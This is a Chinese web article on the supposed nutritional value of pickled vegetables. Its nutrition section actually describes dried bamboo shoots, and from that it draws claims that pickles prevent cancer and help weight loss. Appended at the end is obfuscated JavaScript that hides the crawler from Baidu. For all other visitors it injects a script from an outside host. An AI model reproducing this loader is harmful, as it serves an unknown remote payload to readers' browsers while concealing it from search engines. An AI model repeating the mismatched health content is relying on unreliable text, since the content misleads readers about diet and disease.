當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

咸菜的營養(yǎng)都有哪些呢?

2017-07-07 12:41:00  來源:360常識網(wǎng)   熱度:
導語:咸菜,相信大家都是比較了解的,而且在很多人的生活當中都是離不開咸菜的。不過也有一部分的人認為咸菜并沒有什么營養(yǎng),所以平時并不喜歡食

咸菜,相信大家都是比較了解的,而且在很多人的生活當中都是離不開咸菜的。不過也有一部分的人認為咸菜并沒有什么營養(yǎng),所以平時并不喜歡食用,其實咸菜的營養(yǎng)價值也是非常的高的,經(jīng)常食用一些對身體也有一定的好處的,那么,咸菜的營養(yǎng)都有哪些呢?我們來簡單了解一下吧!

食材名稱: 咸菜

別名:

類別: 蔬菜

簡介:

用食鹽等調(diào)味料腌漬后的蔬菜。有較強的咸味??砷L期保存。

咸菜

營養(yǎng)價值: 干筍不僅輔佐名菜,而且有相當?shù)臓I養(yǎng)和藥用價值。干筍含有豐富的蛋白質(zhì)、氨基酸、脂肪、糖類、鈣、磷、鐵、胡蘿卜素、維生素B1、B2、C。而且干筍的蛋白質(zhì)比較優(yōu)越,人體必需的賴氨酸、色氨酸、蘇氨酸、苯丙氨酸,以及在蛋白質(zhì)代謝過程中占有重要地位的谷氨酸和有維持蛋白質(zhì)構(gòu)型作用的胱氨酸,都有一定的含量,為優(yōu)良的保健蔬菜。 干筍的營養(yǎng)含量據(jù)南京林產(chǎn)化工研究所測定,干筍含有糖類2-4%,脂肪類0.2-0.3%,蛋白質(zhì)2.5-3%,并含有胱氨酸、谷氨酸等18種氨基酸和多種維生素,以及磷,鈣等人體所需的營養(yǎng)成分。例如由冬筍制成的"玉蘭片",100克中含有19克多的蛋白質(zhì),以及豐富的鈣、磷、鐵等無機質(zhì)。 據(jù)醫(yī)家研究,由于干筍含有多種維生素和纖維素,具有防癌、抗癌作用。發(fā)胖的人吃干筍之后,也可促進消化,是肥胖者減肥的佳品。養(yǎng)生學家認為,竹林叢生之地的人們多長壽,且極少患高血壓,這與經(jīng)常吃筍有一定關(guān)系。

適宜季節(jié): 夏、秋

保存方法: 3個月左右

對于咸菜的營養(yǎng)價值大家有了一個詳細的了解了,經(jīng)常食用一些咸菜還能很好的促進消化,尤其是要減肥的朋友,是最適合食用咸菜了,而且咸菜還有防癌和抗癌的功效,所以一定不要認為咸菜沒有營養(yǎng)價值了,也可以炒著吃的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}